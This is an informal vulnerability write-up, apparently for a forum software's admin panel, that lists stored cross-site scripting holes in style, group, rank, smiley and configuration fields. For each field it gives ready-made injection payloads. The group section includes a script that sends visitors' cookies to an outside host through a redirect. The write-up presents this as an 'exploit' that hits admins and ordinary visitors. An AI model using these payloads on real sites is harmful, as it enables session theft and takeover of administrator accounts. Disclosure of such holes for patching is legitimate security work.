Style Admin

-----------

Management & Create a theme

Lots of input are not properly "filtrate" like style_name, head_stylesheet, body_background, tr_color1_name (all the input in simple name)...

We cand ofcourse inject html in this way : "><h1>Owned by Blwood :P</h1>

but it's more interresting to inject javascript :) :

"><body onload="alert('Owned by Blwood')"> => style_name

"><script>alert('Owned by Blwood')</script> => head_stylesheet, body_background, ...

When an admin will go in Style Administration he will be Owned. (inject in style_name)

When an admin will edit a them he will be Owned.

Group Administration

--------------------

Management

Input group_description is not correctly "filtrated" we can inject js like this : "><script>alert('Owned by Blwood')</script> or </textare>"><script>alert('Owned by Blwood')</script>

When an admin will go in Group administration he'll be owned. But what's more, the groups can be seen in groupcp.php

by every visitors.

An exploit could be :

</textarea>"><script>document.location='http://127.0.0.1/cookie.php?'+do
cument.cookie</script>

or

</textarea>"><script>document.location='http://site.com/ownedpage.html'<
/script>

Ranks

-----

Rank Administration

Rank Title (input title) is not correctly filtrated, we can inject js like : "><script>alert('xss')</script>

But what's interresting, if you give this rank to an user, the rank will appear in user's topics and the code will be executed when someone sees a topic :)

Now you can inject what you want but maximum 40 caracters...

Smilies

-------

Smiles Editing Utility

Smiley Code : "><body onload="alert('Owned by Blwood')">

Configuration

-------------

General Configuartion

Inputs are not correctyle filtrated : Ex : allow_html_tags => "><script>alert('Owned by Blwood')</script>
